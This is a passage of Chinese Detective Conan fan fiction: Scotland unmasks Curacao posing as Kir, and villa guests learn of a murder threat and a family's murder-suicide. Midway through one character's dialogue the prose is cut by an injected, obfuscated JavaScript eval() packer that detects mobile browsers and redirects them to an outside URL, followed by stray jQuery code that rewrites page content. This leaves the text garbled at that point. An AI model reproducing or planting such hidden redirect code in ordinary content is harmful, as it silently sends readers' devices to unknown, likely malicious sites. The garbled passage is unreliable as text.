别墅外不远处的一栋小楼。
暴雨将山洗的翠绿,空气中似乎都能闻到泥土里味道。水滴顺着树叶缓缓划下,最后砸在露出窗户外的狙击枪的倍镜上,一下就模糊狙击手的视线。
基尔倚在墙边,双臂环抱,目光难以捉摸地落在那个保持狙击姿势的男人身上。
几秒后,她意味深长的声音和耳麦中微弱的电流声一起传来。
“真没想到,那个人竟然会让你来协助这次任务。”女人的声音冷酷中带着一丝好奇,“他不是还在怀疑你吗?怎么放心让你单独跟他出外勤?”
“难道说,见了一面之后,他就对你改观了?发现自己错怪了好人……”
“不要像贝尔摩德那样试探我,基尔。”一直沉默的苏格兰终于开口,声音平稳,“我以为,我一直都很清白。”
“无论如何,我仍在这里执行任务,而真正的老鼠……已经死在琴酒的枪下了。”
“所以,收起你和他们一样无聊的疑心病。”
他眨了下眼,炸开的水珠再次模糊视线,但他仍能透过模糊的倍镜,牢牢锁定远处别墅里某个特定身影。
“话说回来,那个人好歹也算你的救命恩人呢。”基尔的声音再次响起,她的好奇心丝毫不减,“他怎么就偏偏认定你是条子的卧底?”
基尔紧盯着苏格兰,不放过他脸上任何一丝细微变化。虽然苏格兰表面上早已洗清嫌疑,正常执行任务,但组织内部从未真正对他放下戒心。毕竟,当初的真相实在过于巧合——一个被追杀的老鼠,在最后一刻绝地反杀,证明真正的叛徒另有其人。
自那以后,苏格兰再未单独执行过任务,甚至连日常生活都与波本紧密绑定。或许那个人此次加入行动,更深层的目的就是为了近距离监视调查他。毕竟组织里最执着于咬死苏格兰不放的,就只有那个人了。整整四年,他像只看到猎物的猫,却始终抓不到确凿证据。
基尔正暗自思忖,却见苏格兰突然按住耳麦,随即利落地起身开始收拾器械。
“要撤了?”基尔问道。她来了一会儿了,但苏格兰除了最初瞥了她一眼,再没理会过她。
“不,暂时休息。”苏格兰垂眸,熟练地将狙击枪拆解装入贝斯包,然后抬头看向基尔,语气略带迟疑,“你也是来协助他的?”
“不是。”基尔否认。
苏格兰顿了一下,只是简单地应道,并不多问。
“我来协助的……另有其人。”基尔卖了个关子。
苏格兰并不上钩,点点头不再说话。
见他如此敷衍,基尔忍不住追问:“你不想知道是谁吗?”
苏格兰看她一眼,露出一个浅淡的笑容:“任务结束后,我总会知道的。”
基尔盯着他:“真不想知道?”
苏格兰蓝色的眸子微转,应道:“嗯。”
“你这样不接话,我很为难啊。”基尔忽然走近他身边,一把小巧的左轮手枪悄无声息地抵上他低垂的额头。
苏格兰动作微微一滞,但手上收拾的动作并未停下,仿佛感受不到那致命的威胁,语气平淡无波:“你不是基尔。”
话音刚落,空气仿佛瞬间凝固。
他低着头整理装备,看不到用枪指着他的人此刻的神情。
沉默是两人无声的对峙。
“我不是基尔,那我是谁?”那人将枪稍稍移开,退后一步问道。
苏格兰站起身,无声地笑了笑:“我不知道你是谁,但你绝不是基尔。”
“至于怎么认出来的……很简单,因为你根本没打算认真扮演她。”
“当然,最根本的原因是——”苏格兰抬起头,蓝色的眼眸锐利地锁定对方,“基尔作为日卖电视台的当红女主播,今天下午有一场重要的现场直播,绝不可能出现在这里执行任务。”
他轻声问道,语气却带着不容置疑的压力:“所以,阁下究竟是谁?”
“既然看出是易容,为什么不怀疑我是贝尔摩德?”那人笑了笑,反问道。
苏格兰摇头。他当然知道不是,贝尔摩德此刻大概率正被他的某位同期缠着脱不开身。
雨声不绝于耳。
“真是没意思,”那人抬手,轻轻撕下了基尔的面具,露出一头醒目的白发,“初次见面,苏格兰。我是库拉索。”
*
别墅内,气氛暂时缓和了一些。
众人围坐在一起,木下川没法拿着手机打开论坛。
他想了一会儿,把手机塞到上衣口袋里,脸上露出恰到好处的迟疑和担忧,开口问道:“那个……恕我冒昧,这里……是不是发生了什么事?我感觉大家似乎都很紧张。”
毛利小五郎看向远岛龙,远岛龙则是一脸疲惫,仿佛下了某种决心。
他重重叹了口气:“我很抱歉,将各位无辜的人牵扯进来。本来以为在事情发生前请毛利先生来解决就来得及,没想到还是慢了一步。”
在场不知情的夏日厘皱紧了眉头:“发生什么了?”他刚从一场命案中脱身,可不想再卷入任何麻烦。
“三天前,我收到了一封杀人预告函。”远岛龙的声音干涩,“上面没有明确目标,只让我在今天‘耐心等待’,并警告我不要报警。”
“您就真的没有报警?”木下川难以置信。这年头,竟还有人如此顺从地听从凶手的指令?
“我原本是想报警的,”远岛龙苦笑,“但还没等我拨出号码,就收到了一条陌生短信。”
“对方说:‘不要报警,慢慢等。’”远岛龙的面色死灰,“他一直在监视我!每次我刚升起报警的念头,警告短信就会立刻发来!”
“所以,您找到了毛利先生。”木下川了然。
“是的。虽然那个神秘人不许我报警,但对于我聘请侦探的行为,他似乎……没有任何表示。”远岛龙叹息道,语气中充满了无力感。
毫无预兆地,天空又一道惨白的闪电劈下,紧随其后的是震耳欲聋的雷声,仿佛某种不祥的讯号。
藤间由子猛地站起身,脸色比远岛龙还要苍白,额头上渗出细密的冷汗:“我、我上去看看阿彰!他一个人在上面,我担心……”
远岛龙拦住她:“藤间,你看起来状态很不好,还是我去吧。”
“可是……”藤间由子嘴唇嗫嚅着,“阿彰他怕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16457311|185347||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
生人……”
远岛龙拍拍她的肩,语气温和却不容拒绝:“他总不能永远依赖姐姐的保护。况且我也算不上生人,至少他认得我,不是吗?”
“让我去吧,你冷静一下。你现在这个样子上去,说不定反而会吓到他。”远岛龙宽慰道。
藤间由子犹豫了片刻,远岛龙的声音混合着雨声传来:“你不相信我吗?”
藤间由子最终被说服了,无力地坐回沙发。
几人重新坐定,木下川忽然听到身旁的三原真下极轻地低语了一句:“欸,他真是体贴啊。”
木下川转头看他:?
三原真下对上他的目光,立刻露出一个无比无辜的纯净笑容。
“藤间小姐,虽然有些冒昧,”毛利小五郎开口,将话题引回,“我想请问,您的弟弟是一直都这么害怕与人接触吗?”
木下川心中一凛,目光聚焦在藤间由子苍白的脸上。
藤间由子愣了一下,在众人以为她不会回答时,她无力地摇了摇头,声音轻得像梦呓:“不……阿彰小时候,其实是个非常外向开朗的孩子,见到陌生人也能笑嘻嘻地说上半天话……”
在暴雨的伴奏之下,他们得知了藤间家的惨案。
原本温和的父亲在被公司辞退之后,在几天后发了疯把妻子砍死了然后自杀,而原因仅仅是小儿子出了家门与外面的陌生人说了话。
浑身是血的父亲拿着菜刀,家里的地面上缓缓流淌着母亲的血。
恶魔一般的父亲找到了被母亲藏在衣柜的小儿子。
他在儿子恐惧的注视下,微微感到颤栗,空气中是铁锈的味道,那是妻子的味道,他走近衣柜里孩子,眼神疯狂。
“不是告诉过你吗?不要出门,不要跟外人说话,你怎么不听话呢。”
衣柜里的男孩说不出话来,叫不出声来,恐惧在他的胸腔里堆积。
而下一秒他尖叫出声,他永远忘不了那样的画面,父亲将那把刀直直插进自己的脖子,然后靠近他说:“阿彰,不要和陌生人说话,记住了吗?”
父亲的血将他身上的白衣染红,而不远处地上,躺着遍体鳞伤的母亲。
藤间由子讲述时身体不住地颤抖,步美忍不住靠近这个悲伤的大姐姐,轻轻拍抚着她的背。
众人还沉浸在这段骇人往事带来的震惊与压抑中时——
“咚!!”
一声沉重的、仿佛什么东西重重砸在地板上的闷响,猛地从楼上传来!
藤间由子身体猛地一僵,瞬间弹起,疯了一般向楼上冲去!
*
与此同时,小楼内。
库拉索忽然顿了一下,对苏格兰说:“我的协助任务完成了,马上撤离。需要捎你一程吗?”
苏格兰摇摇头,蓝色的眼睛看着眼前的女人:“你的任务……就是拖住我?”
库拉索微微一笑,算是默认。
“是朗姆的命令?”苏格兰追问。
库拉索:“刚才不是还说不好奇吗?”
她转身下楼,但在出门前,还是好心地留下了一句话:
“不是朗姆,猜猜其他人吧。”